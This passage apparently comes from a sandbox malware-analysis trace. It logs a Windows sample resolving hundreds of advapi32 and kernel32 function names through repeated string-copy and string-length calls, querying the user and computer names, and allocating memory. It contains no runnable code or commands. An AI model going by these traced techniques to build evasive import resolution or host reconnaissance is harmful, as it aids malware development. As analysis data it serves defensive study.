(lpString="CRYPTGETHASHPARAM") returned 17 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptGetKeyParam" | out: lpString1="CryptGetKeyParam") returned="CryptGetKeyParam" [0047.456] lstrlenA (lpString="CRYPTGETKEYPARAM") returned 16 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptGetProvParam" | out: lpString1="CryptGetProvParam") returned="CryptGetProvParam" [0047.456] lstrlenA (lpString="CRYPTGETPROVPARAM") returned 17 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptGetUserKey" | out: lpString1="CryptGetUserKey") returned="CryptGetUserKey" [0047.456] lstrlenA (lpString="CRYPTGETUSERKEY") returned 15 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptHashData" | out: lpString1="CryptHashData") returned="CryptHashData" [0047.456] lstrlenA (lpString="CRYPTHASHDATA") returned 13 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptHashSessionKey" | out: lpString1="CryptHashSessionKey") returned="CryptHashSessionKey" [0047.456] lstrlenA (lpString="CRYPTHASHSESSIONKEY") returned 19 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptImportKey" | out: lpString1="CryptImportKey") returned="CryptImportKey" [0047.456] lstrlenA (lpString="CRYPTIMPORTKEY") returned 14 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptReleaseContext" | out: lpString1="CryptReleaseContext") returned="CryptReleaseContext" [0047.456] lstrlenA (lpString="CRYPTRELEASECONTEXT") returned 19 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptSetHashParam" | out: lpString1="CryptSetHashParam") returned="CryptSetHashParam" [0047.456] lstrlenA (lpString="CRYPTSETHASHPARAM") returned 17 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptSetKeyParam" | out: lpString1="CryptSetKeyParam") returned="CryptSetKeyParam" [0047.456] lstrlenA (lpString="CRYPTSETKEYPARAM") returned 16 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptSetProvParam" | out: lpString1="CryptSetProvParam") returned="CryptSetProvParam" [0047.456] lstrlenA (lpString="CRYPTSETPROVPARAM") returned 17 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptSetProviderA" | out: lpString1="CryptSetProviderA") returned="CryptSetProviderA" [0047.457] lstrlenA (lpString="CRYPTSETPROVIDERA") returned 17 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptSetProviderExA" | out: lpString1="CryptSetProviderExA") returned="CryptSetProviderExA" [0047.457] lstrlenA (lpString="CRYPTSETPROVIDEREXA") returned 19 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptSetProviderExW" | out: lpString1="CryptSetProviderExW") returned="CryptSetProviderExW" [0047.457] lstrlenA (lpString="CRYPTSETPROVIDEREXW") returned 19 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptSetProviderW" | out: lpString1="CryptSetProviderW") returned="CryptSetProviderW" [0047.457] lstrlenA (lpString="CRYPTSETPROVIDERW") returned 17 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptSignHashA" | out: lpString1="CryptSignHashA") returned="CryptSignHashA" [0047.457] lstrlenA (lpString="CRYPTSIGNHASHA") returned 14 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptSignHashW" | out: lpString1="CryptSignHashW") returned="CryptSignHashW" [0047.457] lstrlenA (lpString="CRYPTSIGNHASHW") returned 14 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptVerifySignatureA" | out: lpString1="CryptVerifySignatureA") returned="CryptVerifySignatureA" [0047.457] lstrlenA (lpString="CRYPTVERIFYSIGNATUREA") returned 21 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptVerifySignatureW" | out: lpString1="CryptVerifySignatureW") returned="CryptVerifySignatureW" [0047.457] lstrlenA (lpString="CRYPTVERIFYSIGNATUREW") returned 21 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="CveEventWrite" | out: lpString1="CveEventWrite") returned="CveEventWrite" [0047.457] lstrlenA (lpString="CVEEVENTWRITE") returned 13 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="DecryptFileA" | out: lpString1="DecryptFileA") returned="DecryptFileA" [0047.457] lstrlenA (lpString="DECRYPTFILEA") returned 12 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="DecryptFileW" | out: lpString1="DecryptFileW") returned="DecryptFileW" [0047.457] lstrlenA (lpString="DECRYPTFILEW") returned 12 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="DeleteAce" | out: lpString1="DeleteAce") returned="DeleteAce" [0047.457] lstrlenA (lpString="DELETEACE") returned 9 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="DeleteService" | out: lpString1="DeleteService") returned="DeleteService" [0047.457] lstrlenA (lpString="DELETESERVICE") returned 13 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="DeregisterEventSource" | out: lpString1="DeregisterEventSource") returned="DeregisterEventSource" [0047.457] lstrlenA (lpString="DEREGISTEREVENTSOURCE") returned 21 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="DestroyPrivateObjectSecurity" | out: lpString1="DestroyPrivateObjectSecurity") returned="DestroyPrivateObjectSecurity" [0047.457] lstrlenA (lpString="DESTROYPRIVATEOBJECTSECURITY") returned 28 [0047.457] lstrcpyA (in: lpString1=0x21fe428, lpString2="DuplicateEncryptionInfoFile" | out: lpString1="DuplicateEncryptionInfoFile") returned="DuplicateEncryptionInfoFile" [0047.457] lstrlenA (lpString="DUPLICATEENCRYPTIONINFOFILE") returned 27 [0047.458] lstrcpyA (in: lpString1=0x21fe428, lpString2="DuplicateToken" | out: lpString1="DuplicateToken") returned="DuplicateToken" [0047.458] lstrlenA (lpString="DUPLICATETOKEN") returned 14 [0047.458] lstrcpyA (in: lpString1=0x21fe428, lpString2="DuplicateTokenEx" | out: lpString1="DuplicateTokenEx") returned="DuplicateTokenEx" [0047.458] lstrlenA (lpString="DUPLICATETOKENEX") returned 16 [0047.458] lstrcpyA (in: lpString1=0x21fe428, lpString2="ElfBackupEventLogFileA" | out: lpString1="ElfBackupEventLogFileA") returned="ElfBackupEventLogFileA" [0047.458] lstrlenA (lpString="ELFBACKUPEVENTLOGFILEA") returned 22 [0047.458] lstrcpyA (in: lpString1=0x21fe428, lpString2="ElfBackupEventLogFileW" | out: lpString1="ElfBackupEventLogFileW") returned="ElfBackupEventLogFileW" [0047.458] lstrlenA (lpString="ELFBACKUPEVENTLOGFILEW") returned 22 [0047.458] lstrcpyA (in: lpString1=0x21fe428, lpString2="ElfChangeNotify" | out: lpString1="ElfChangeNotify") returned="ElfChangeNotify" [0047.458] lstrlenA (lpString="ELFCHANGENOTIFY") returned 15 [0047.458] lstrcpyA (in: lpString1=0x21fe428, lpString2="ElfClearEventLogFileA" | out: lpString1="ElfClearEventLogFileA") returned="ElfClearEventLogFileA" [0047.458] lstrlenA (lpString="ELFCLEAREVENTLOGFILEA") returned 21 [0047.458] lstrcpyA (in: lpString1=0x21fe428, lpString2="ElfClearEventLogFileW" | out: lpString1="ElfClearEventLogFileW") returned="ElfClearEventLogFileW" [0047.458] lstrlenA (lpString="ELFCLEAREVENTLOGFILEW") returned 21 [0047.458] lstrcpyA (in: lpString1=0x21fe428, lpString2="ElfCloseEventLog" | out: lpString1="ElfCloseEventLog") returned="ElfCloseEventLog" [0047.458] lstrlenA (lpString="ELFCLOSEEVENTLOG") returned 16 [0047.458] lstrcpyA (in: lpString1=0x21fe428, lpString2="ElfDeregisterEventSource" | out: lpString1="ElfDeregisterEventSource") returned="ElfDeregisterEventSource" [0047.458] lstrlenA (lpString="ELFDEREGISTEREVENTSOURCE") returned 24 [0047.458] lstrcpyA (in: lpString1=0x21fe428, lpString2="ElfFlushEventLog" | out: lpString1="ElfFlushEventLog") returned="ElfFlushEventLog" [0047.458] GetUserNameW (in: lpBuffer=0x620000, pcbBuffer=0x21ff264 | out: lpBuffer="FD1HVy", pcbBuffer=0x21ff264) returned 1 [0047.587] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0047.588] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.588] GetComputerNameW (in: lpBuffer=0x630000, nSize=0x21ff264 | out: lpBuffer="NQDPDE", nSize=0x21ff264) returned 1 [0047.588] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x640000 [0047.588] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x650000 [0047.588] VirtualAlloc (lpAddress=0x0, dwSize=0xd6, flAllocationType=0x3000, flProtect=0x4) returned 0x2200000 [0047.589] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0047.590] lstrlenA (lpString="FINDATOMA") returned 9 [0047.590] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindAtomW" | out: lpString1="FindAtomW") returned="FindAtomW" [0047.590] lstrlenA (lpString="FINDATOMW") returned 9 [0047.590] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindClose" | out: lpString1="FindClose") returned="FindClose" [0047.590] lstrlenA (lpString="FINDCLOSE") returned 9 [0047.590] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindCloseChangeNotification" | out: lpString1="FindCloseChangeNotification") returned="FindCloseChangeNotification" [0047.590] lstrlenA (lpString="FINDCLOSECHANGENOTIFICATION") returned 27 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstChangeNotificationA" | out: lpString1="FindFirstChangeNotificationA") returned="FindFirstChangeNotificationA" [0047.591] lstrlenA (lpString="FINDFIRSTCHANGENOTIFICATIONA") returned 28 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstChangeNotificationW" | out: lpString1="FindFirstChangeNotificationW") returned="FindFirstChangeNotificationW" [0047.591] lstrlenA (lpString="FINDFIRSTCHANGENOTIFICATIONW") returned 28 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstFileA" | out: lpString1="FindFirstFileA") returned="FindFirstFileA" [0047.591] lstrlenA (lpString="FINDFIRSTFILEA") returned 14 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstFileExA" | out: lpString1="FindFirstFileExA") returned="FindFirstFileExA" [0047.591] lstrlenA (lpString="FINDFIRSTFILEEXA") returned 16 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstFileExW" | out: lpString1="FindFirstFileExW") returned="FindFirstFileExW" [0047.591] lstrlenA (lpString="FINDFIRSTFILEEXW") returned 16 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstFileNameTransactedW" | out: lpString1="FindFirstFileNameTransactedW") returned="FindFirstFileNameTransactedW" [0047.591] lstrlenA (lpString="FINDFIRSTFILENAMETRANSACTEDW") returned 28 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstFileNameW" | out: lpString1="FindFirstFileNameW") returned="FindFirstFileNameW" [0047.591] lstrlenA (lpString="FINDFIRSTFILENAMEW") returned 18 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstFileTransactedA" | out: lpString1="FindFirstFileTransactedA") returned="FindFirstFileTransactedA" [0047.591] lstrlenA (lpString="FINDFIRSTFILETRANSACTEDA") returned 24 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstFileTransactedW" | out: lpString1="FindFirstFileTransactedW") returned="FindFirstFileTransactedW" [0047.591] lstrlenA (lpString="FINDFIRSTFILETRANSACTEDW") returned 24 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstFileW" | out: lpString1="FindFirstFileW") returned="FindFirstFileW" [0047.591] lstrlenA (lpString="FINDFIRSTFILEW") returned 14 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstStreamTransactedW" | out: lpString1="FindFirstStreamTransactedW") returned="FindFirstStreamTransactedW" [0047.591] lstrlenA (lpString="FINDFIRSTSTREAMTRANSACTEDW") returned 26 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstStreamW" | out: lpString1="FindFirstStreamW") returned="FindFirstStreamW" [0047.591] lstrlenA (lpString="FINDFIRSTSTREAMW") returned 16 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstVolumeA" | out: lpString1="FindFirstVolumeA") returned="FindFirstVolumeA" [0047.591] lstrlenA (lpString="FINDFIRSTVOLUMEA") returned 16 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstVolumeMountPointA" | out: lpString1="FindFirstVolumeMountPointA") returned="FindFirstVolumeMountPointA" [0047.591] lstrlenA (lpString="FINDFIRSTVOLUMEMOUNTPOINTA") returned 26 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstVolumeMountPointW" | out: lpString1="FindFirstVolumeMountPointW") returned="FindFirstVolumeMountPointW" [0047.591] lstrlenA (lpString="FINDFIRSTVOLUMEMOUNTPOINTW") returned 26 [0047.591] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindFirstVolumeW" | out: lpString1="FindFirstVolumeW") returned="FindFirstVolumeW" [0047.592] lstrlenA (lpString="FINDFIRSTVOLUMEW") returned 16 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNLSString" | out: lpString1="FindNLSString") returned="FindNLSString" [0047.592] lstrlenA (lpString="FINDNLSSTRING") returned 13 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNLSStringEx" | out: lpString1="FindNLSStringEx") returned="FindNLSStringEx" [0047.592] lstrlenA (lpString="FINDNLSSTRINGEX") returned 15 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNextChangeNotification" | out: lpString1="FindNextChangeNotification") returned="FindNextChangeNotification" [0047.592] lstrlenA (lpString="FINDNEXTCHANGENOTIFICATION") returned 26 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNextFileA" | out: lpString1="FindNextFileA") returned="FindNextFileA" [0047.592] lstrlenA (lpString="FINDNEXTFILEA") returned 13 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNextFileNameW" | out: lpString1="FindNextFileNameW") returned="FindNextFileNameW" [0047.592] lstrlenA (lpString="FINDNEXTFILENAMEW") returned 17 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNextFileW" | out: lpString1="FindNextFileW") returned="FindNextFileW" [0047.592] lstrlenA (lpString="FINDNEXTFILEW") returned 13 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNextStreamW" | out: lpString1="FindNextStreamW") returned="FindNextStreamW" [0047.592] lstrlenA (lpString="FINDNEXTSTREAMW") returned 15 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNextVolumeA" | out: lpString1="FindNextVolumeA") returned="FindNextVolumeA" [0047.592] lstrlenA (lpString="FINDNEXTVOLUMEA") returned 15 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNextVolumeMountPointA" | out: lpString1="FindNextVolumeMountPointA") returned="FindNextVolumeMountPointA" [0047.592] lstrlenA (lpString="FINDNEXTVOLUMEMOUNTPOINTA") returned 25 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNextVolumeMountPointW" | out: lpString1="FindNextVolumeMountPointW") returned="FindNextVolumeMountPointW" [0047.592] lstrlenA (lpString="FINDNEXTVOLUMEMOUNTPOINTW") returned 25 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindNextVolumeW" | out: lpString1="FindNextVolumeW") returned="FindNextVolumeW" [0047.592] lstrlenA (lpString="FINDNEXTVOLUMEW") returned 15 [0047.592] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindPackagesByPackageFamily" | out: lpString1="FindPackagesByPackageFamily") returned="FindPackagesByPackageFamily" [0047.592] lstrlenA (lpString="FINDPACKAGESBYPACKAGEFAMILY") returned 27 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindResourceA" | out: lpString1="FindResourceA") returned="FindResourceA" [0047.593] lstrlenA (lpString="FINDRESOURCEA") returned 13 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindResourceExA" | out: lpString1="FindResourceExA") returned="FindResourceExA" [0047.593] lstrlenA (lpString="FINDRESOURCEEXA") returned 15 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindResourceExW" | out: lpString1="FindResourceExW") returned="FindResourceExW" [0047.593] lstrlenA (lpString="FINDRESOURCEEXW") returned 15 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindResourceW" | out: lpString1="FindResourceW") returned="FindResourceW" [0047.593] lstrlenA (lpString="FINDRESOURCEW") returned 13 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindStringOrdinal" | out: lpString1="FindStringOrdinal") returned="FindStringOrdinal" [0047.593] lstrlenA (lpString="FINDSTRINGORDINAL") returned 17 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindVolumeClose" | out: lpString1="FindVolumeClose") returned="FindVolumeClose" [0047.593] lstrlenA (lpString="FINDVOLUMECLOSE") returned 15 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FindVolumeMountPointClose" | out: lpString1="FindVolumeMountPointClose") returned="FindVolumeMountPointClose" [0047.593] lstrlenA (lpString="FINDVOLUMEMOUNTPOINTCLOSE") returned 25 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FlsAlloc" | out: lpString1="FlsAlloc") returned="FlsAlloc" [0047.593] lstrlenA (lpString="FLSALLOC") returned 8 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FlsFree" | out: lpString1="FlsFree") returned="FlsFree" [0047.593] lstrlenA (lpString="FLSFREE") returned 7 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FlsGetValue" | out: lpString1="FlsGetValue") returned="FlsGetValue" [0047.593] lstrlenA (lpString="FLSGETVALUE") returned 11 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FlsSetValue" | out: lpString1="FlsSetValue") returned="FlsSetValue" [0047.593] lstrlenA (lpString="FLSSETVALUE") returned 11 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FlushConsoleInputBuffer" | out: lpString1="FlushConsoleInputBuffer") returned="FlushConsoleInputBuffer" [0047.593] lstrlenA (lpString="FLUSHCONSOLEINPUTBUFFER") returned 23 [0047.593] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FlushFileBuffers" | out: lpString1="FlushFileBuffers") returned="FlushFileBuffers" [0047.593] lstrlenA (lpString="FLUSHFILEBUFFERS") returned 16 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FlushInstructionCache" | out: lpString1="FlushInstructionCache") returned="FlushInstructionCache" [0047.594] lstrlenA (lpString="FLUSHINSTRUCTIONCACHE") returned 21 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FlushProcessWriteBuffers" | out: lpString1="FlushProcessWriteBuffers") returned="FlushProcessWriteBuffers" [0047.594] lstrlenA (lpString="FLUSHPROCESSWRITEBUFFERS") returned 24 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FlushViewOfFile" | out: lpString1="FlushViewOfFile") returned="FlushViewOfFile" [0047.594] lstrlenA (lpString="FLUSHVIEWOFFILE") returned 15 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FoldStringA" | out: lpString1="FoldStringA") returned="FoldStringA" [0047.594] lstrlenA (lpString="FOLDSTRINGA") returned 11 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FoldStringW" | out: lpString1="FoldStringW") returned="FoldStringW" [0047.594] lstrlenA (lpString="FOLDSTRINGW") returned 11 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FormatApplicationUserModelId" | out: lpString1="FormatApplicationUserModelId") returned="FormatApplicationUserModelId" [0047.594] lstrlenA (lpString="FORMATAPPLICATIONUSERMODELID") returned 28 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FormatMessageA" | out: lpString1="FormatMessageA") returned="FormatMessageA" [0047.594] lstrlenA (lpString="FORMATMESSAGEA") returned 14 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FormatMessageW" | out: lpString1="FormatMessageW") returned="FormatMessageW" [0047.594] lstrlenA (lpString="FORMATMESSAGEW") returned 14 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FreeConsole" | out: lpString1="FreeConsole") returned="FreeConsole" [0047.594] lstrlenA (lpString="FREECONSOLE") returned 11 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FreeEnvironmentStringsA" | out: lpString1="FreeEnvironmentStringsA") returned="FreeEnvironmentStringsA" [0047.594] lstrlenA (lpString="FREEENVIRONMENTSTRINGSA") returned 23 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FreeEnvironmentStringsW" | out: lpString1="FreeEnvironmentStringsW") returned="FreeEnvironmentStringsW" [0047.594] lstrlenA (lpString="FREEENVIRONMENTSTRINGSW") returned 23 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FreeLibrary" | out: lpString1="FreeLibrary") returned="FreeLibrary" [0047.594] lstrlenA (lpString="FREELIBRARY") returned 11 [0047.594] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FreeLibraryAndExitThread" | out: lpString1="FreeLibraryAndExitThread") returned="FreeLibraryAndExitThread" [0047.594] lstrlenA (lpString="FREELIBRARYANDEXITTHREAD") returned 24 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FreeLibraryWhenCallbackReturns" | out: lpString1="FreeLibraryWhenCallbackReturns") returned="FreeLibraryWhenCallbackReturns" [0047.595] lstrlenA (lpString="FREELIBRARYWHENCALLBACKRETURNS") returned 30 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FreeMemoryJobObject" | out: lpString1="FreeMemoryJobObject") returned="FreeMemoryJobObject" [0047.595] lstrlenA (lpString="FREEMEMORYJOBOBJECT") returned 19 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FreeResource" | out: lpString1="FreeResource") returned="FreeResource" [0047.595] lstrlenA (lpString="FREERESOURCE") returned 12 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="FreeUserPhysicalPages" | out: lpString1="FreeUserPhysicalPages") returned="FreeUserPhysicalPages" [0047.595] lstrlenA (lpString="FREEUSERPHYSICALPAGES") returned 21 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GenerateConsoleCtrlEvent" | out: lpString1="GenerateConsoleCtrlEvent") returned="GenerateConsoleCtrlEvent" [0047.595] lstrlenA (lpString="GENERATECONSOLECTRLEVENT") returned 24 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetACP" | out: lpString1="GetACP") returned="GetACP" [0047.595] lstrlenA (lpString="GETACP") returned 6 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetActiveProcessorCount" | out: lpString1="GetActiveProcessorCount") returned="GetActiveProcessorCount" [0047.595] lstrlenA (lpString="GETACTIVEPROCESSORCOUNT") returned 23 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetActiveProcessorGroupCount" | out: lpString1="GetActiveProcessorGroupCount") returned="GetActiveProcessorGroupCount" [0047.595] lstrlenA (lpString="GETACTIVEPROCESSORGROUPCOUNT") returned 28 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetAppContainerAce" | out: lpString1="GetAppContainerAce") returned="GetAppContainerAce" [0047.595] lstrlenA (lpString="GETAPPCONTAINERACE") returned 18 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetAppContainerNamedObjectPath" | out: lpString1="GetAppContainerNamedObjectPath") returned="GetAppContainerNamedObjectPath" [0047.595] lstrlenA (lpString="GETAPPCONTAINERNAMEDOBJECTPATH") returned 30 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetApplicationRecoveryCallback" | out: lpString1="GetApplicationRecoveryCallback") returned="GetApplicationRecoveryCallback" [0047.595] lstrlenA (lpString="GETAPPLICATIONRECOVERYCALLBACK") returned 30 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetApplicationRecoveryCallbackWorker" | out: lpString1="GetApplicationRecoveryCallbackWorker") returned="GetApplicationRecoveryCallbackWorker" [0047.595] lstrlenA (lpString="GETAPPLICATIONRECOVERYCALLBACKWORKER") returned 36 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetApplicationRestartSettings" | out: lpString1="GetApplicationRestartSettings") returned="GetApplicationRestartSettings" [0047.595] lstrlenA (lpString="GETAPPLICATIONRESTARTSETTINGS") returned 29 [0047.595] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetApplicationRestartSettingsWorker" | out: lpString1="GetApplicationRestartSettingsWorker") returned="GetApplicationRestartSettingsWorker" [0047.596] lstrlenA (lpString="GETAPPLICATIONRESTARTSETTINGSWORKER") returned 35 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetApplicationUserModelId" | out: lpString1="GetApplicationUserModelId") returned="GetApplicationUserModelId" [0047.596] lstrlenA (lpString="GETAPPLICATIONUSERMODELID") returned 25 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetAtomNameA" | out: lpString1="GetAtomNameA") returned="GetAtomNameA" [0047.596] lstrlenA (lpString="GETATOMNAMEA") returned 12 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetAtomNameW" | out: lpString1="GetAtomNameW") returned="GetAtomNameW" [0047.596] lstrlenA (lpString="GETATOMNAMEW") returned 12 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetBinaryType" | out: lpString1="GetBinaryType") returned="GetBinaryType" [0047.596] lstrlenA (lpString="GETBINARYTYPE") returned 13 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetBinaryTypeA" | out: lpString1="GetBinaryTypeA") returned="GetBinaryTypeA" [0047.596] lstrlenA (lpString="GETBINARYTYPEA") returned 14 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetBinaryTypeW" | out: lpString1="GetBinaryTypeW") returned="GetBinaryTypeW" [0047.596] lstrlenA (lpString="GETBINARYTYPEW") returned 14 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCPInfo" | out: lpString1="GetCPInfo") returned="GetCPInfo" [0047.596] lstrlenA (lpString="GETCPINFO") returned 9 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCPInfoExA" | out: lpString1="GetCPInfoExA") returned="GetCPInfoExA" [0047.596] lstrlenA (lpString="GETCPINFOEXA") returned 12 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCPInfoExW" | out: lpString1="GetCPInfoExW") returned="GetCPInfoExW" [0047.596] lstrlenA (lpString="GETCPINFOEXW") returned 12 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCachedSigningLevel" | out: lpString1="GetCachedSigningLevel") returned="GetCachedSigningLevel" [0047.596] lstrlenA (lpString="GETCACHEDSIGNINGLEVEL") returned 21 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCalendarDateFormat" | out: lpString1="GetCalendarDateFormat") returned="GetCalendarDateFormat" [0047.596] lstrlenA (lpString="GETCALENDARDATEFORMAT") returned 21 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCalendarDateFormatEx" | out: lpString1="GetCalendarDateFormatEx") returned="GetCalendarDateFormatEx" [0047.596] lstrlenA (lpString="GETCALENDARDATEFORMATEX") returned 23 [0047.596] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCalendarDaysInMonth" | out: lpString1="GetCalendarDaysInMonth") returned="GetCalendarDaysInMonth" [0047.596] lstrlenA (lpString="GETCALENDARDAYSINMONTH") returned 22 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCalendarDifferenceInDays" | out: lpString1="GetCalendarDifferenceInDays") returned="GetCalendarDifferenceInDays" [0047.597] lstrlenA (lpString="GETCALENDARDIFFERENCEINDAYS") returned 27 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCalendarInfoA" | out: lpString1="GetCalendarInfoA") returned="GetCalendarInfoA" [0047.597] lstrlenA (lpString="GETCALENDARINFOA") returned 16 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCalendarInfoEx" | out: lpString1="GetCalendarInfoEx") returned="GetCalendarInfoEx" [0047.597] lstrlenA (lpString="GETCALENDARINFOEX") returned 17 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCalendarInfoW" | out: lpString1="GetCalendarInfoW") returned="GetCalendarInfoW" [0047.597] lstrlenA (lpString="GETCALENDARINFOW") returned 16 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCalendarMonthsInYear" | out: lpString1="GetCalendarMonthsInYear") returned="GetCalendarMonthsInYear" [0047.597] lstrlenA (lpString="GETCALENDARMONTHSINYEAR") returned 23 